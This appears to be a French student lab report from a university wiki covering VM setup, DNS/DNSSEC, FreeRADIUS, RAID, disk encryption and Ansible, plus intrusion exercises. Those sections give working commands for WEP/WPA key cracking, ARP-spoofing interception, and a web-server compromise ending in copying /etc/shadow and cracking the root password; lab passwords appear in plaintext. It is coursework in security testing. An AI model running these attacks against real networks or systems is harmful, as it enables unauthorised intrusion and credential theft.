$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57985TP sysres IMA5 2021/2022 G62022-01-12T12:07:35Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
